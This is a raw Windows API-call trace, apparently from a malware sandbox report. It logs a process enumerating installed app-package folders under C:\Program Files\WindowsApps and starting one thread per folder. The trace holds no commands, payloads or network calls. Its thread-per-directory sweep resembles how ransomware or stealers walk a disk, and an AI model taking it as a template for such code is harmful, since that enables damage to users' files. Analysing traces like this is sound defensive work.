	[0078.100] wcscat (in: _Dest=0x4986860, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.100] wcscat (in: _Dest=0x4986860, _Source="Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0078.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4986860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84
	[0078.100] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x248ba4f4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI86E0~1.0_N")) returned 1
	[0078.101] wcscmp (_String1="Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.101] wcscmp (_String1="Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddbf48
	[0078.101] wcscpy (in: _Dest=0x2ddbf48, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.101] wcscat (in: _Dest=0x2ddbf48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.101] wcscat (in: _Dest=0x2ddbf48, _Source="Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe"
	[0078.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddbf48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd88
	[0078.101] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x367c081d, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaff5073a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37eb3642, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI4486~1.0_X")) returned 1
	[0078.101] wcscmp (_String1="Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.101] wcscmp (_String1="Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476d418
	[0078.101] wcscpy (in: _Dest=0x476d418, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.102] wcscat (in: _Dest=0x476d418, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.102] wcscat (in: _Dest=0x476d418, _Source="Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0078.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c
	[0078.102] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3979638c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb00f9315, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a630d34, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI9817~1.0_X")) returned 1
	[0078.103] wcscmp (_String1="Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.103] wcscmp (_String1="Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cb738
	[0078.103] wcscpy (in: _Dest=0x47cb738, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.103] wcscat (in: _Dest=0x47cb738, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.103] wcscat (in: _Dest=0x47cb738, _Source="Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0078.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cb738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90
	[0078.104] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbff4e2d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba3c24b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba3c24b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c", cAlternateFileName="MI66C7~1.SCA")) returned 1
	[0078.812] wcscmp (_String1="Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c", _String2=".") returned 1
	[0078.812] wcscmp (_String1="Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c", _String2="..") returned 1
	[0078.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e9ec0
	[0078.812] wcscpy (in: _Dest=0x47e9ec0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.812] wcscat (in: _Dest=0x47e9ec0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.812] wcscat (in: _Dest=0x47e9ec0, _Source="Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c"
	[0078.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64
	[0078.814] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73778cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c", cAlternateFileName="MI29A2~1.0_N")) returned 1
	[0078.814] wcscmp (_String1="Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c", _String2=".") returned 1
	[0078.814] wcscmp (_String1="Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c", _String2="..") returned 1
	[0078.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5d4b8
	[0078.815] wcscpy (in: _Dest=0x2d5d4b8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.815] wcscat (in: _Dest=0x2d5d4b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.815] wcscat (in: _Dest=0x2d5d4b8, _Source="Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c"
	[0078.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5d4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd98
	[0078.815] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7410239, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c", cAlternateFileName="MIC69C~1.0_X")) returned 1
	[0078.815] wcscmp (_String1="Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c", _String2=".") returned 1
	[0078.815] wcscmp (_String1="Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c", _String2="..") returned 1
	[0078.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49874d8
	[0078.815] wcscpy (in: _Dest=0x49874d8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.815] wcscat (in: _Dest=0x49874d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.815] wcscat (in: _Dest=0x49874d8, _Source="Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0078.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x49874d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda8
	[0078.816] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x137b8f21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdfec7dad, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfec7dad, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIC910~1.0_X")) returned 1
	[0078.816] wcscmp (_String1="Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.816] wcscmp (_String1="Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.816] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5ca68
	[0078.816] wcscpy (in: _Dest=0x2d5ca68, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.816] wcscat (in: _Dest=0x2d5ca68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.816] wcscat (in: _Dest=0x2d5ca68, _Source="Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0078.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5ca68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdac
	[0078.817] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1374681a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdfea1b47, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfea1b47, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI3F66~1.0_N")) returned 1
	[0078.817] wcscmp (_String1="Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.817] wcscmp (_String1="Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x476a568
	[0078.817] wcscpy (in: _Dest=0x476a568, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.817] wcscat (in: _Dest=0x476a568, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.817] wcscat (in: _Dest=0x476a568, _Source="Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe"
	[0078.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb0
	[0078.818] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0a85441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b9575e3, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~1.1_X")) returned 1
	[0078.818] wcscmp (_String1="Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.818] wcscmp (_String1="Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2ddba40
	[0078.818] wcscpy (in: _Dest=0x2ddba40, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.818] wcscat (in: _Dest=0x2ddba40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.818] wcscat (in: _Dest=0x2ddba40, _Source="Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe"
	[0078.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddba40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4
	[0078.819] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8d19b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0ace717, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b6ced31, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe", cAlternateFileName="MICROS~2.1_X")) returned 1
	[0078.819] wcscmp (_String1="Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.819] wcscmp (_String1="Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2ddc678
	[0078.819] wcscpy (in: _Dest=0x2ddc678, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.819] wcscat (in: _Dest=0x2ddc678, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.819] wcscat (in: _Dest=0x2ddc678, _Source="Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe"
	[0078.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb8
	[0078.820] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc9b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb13a1d82, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb13a1d82, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI72FF~1.0_X")) returned 1
	[0078.820] wcscmp (_String1="Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.820] wcscmp (_String1="Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.820] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2ddc508
	[0078.820] wcscpy (in: _Dest=0x2ddc508, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.820] wcscat (in: _Dest=0x2ddc508, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.820] wcscat (in: _Dest=0x2ddc508, _Source="Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe"
	[0078.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc
	[0078.820] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1538d09, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d397aa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb0d397aa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe", cAlternateFileName="MIA7C9~1.0_X")) returned 1
	[0078.820] wcscmp (_String1="Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.820] wcscmp (_String1="Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.820] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2ddc000
	[0078.821] wcscpy (in: _Dest=0x2ddc000, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.821] wcscat (in: _Dest=0x2ddc000, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.821] wcscat (in: _Dest=0x2ddc000, _Source="Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe"
	[0078.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0
	[0078.821] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e7ba3c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe09a894e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe09a894e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIB6B3~1.0_N")) returned 1
	[0078.821] wcscmp (_String1="Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.821] wcscmp (_String1="Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5d988
	[0078.822] wcscpy (in: _Dest=0x2d5d988, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.822] wcscat (in: _Dest=0x2d5d988, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.822] wcscat (in: _Dest=0x2d5d988, _Source="Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe"
	[0078.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5d988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc4
	[0078.822] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8150701, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe09a894e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe09a894e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIF132~1.0_X")) returned 1
	[0078.822] wcscmp (_String1="Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.822] wcscmp (_String1="Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4986320
	[0078.822] wcscpy (in: _Dest=0x4986320, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.822] wcscat (in: _Dest=0x4986320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.822] wcscat (in: _Dest=0x4986320, _Source="Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
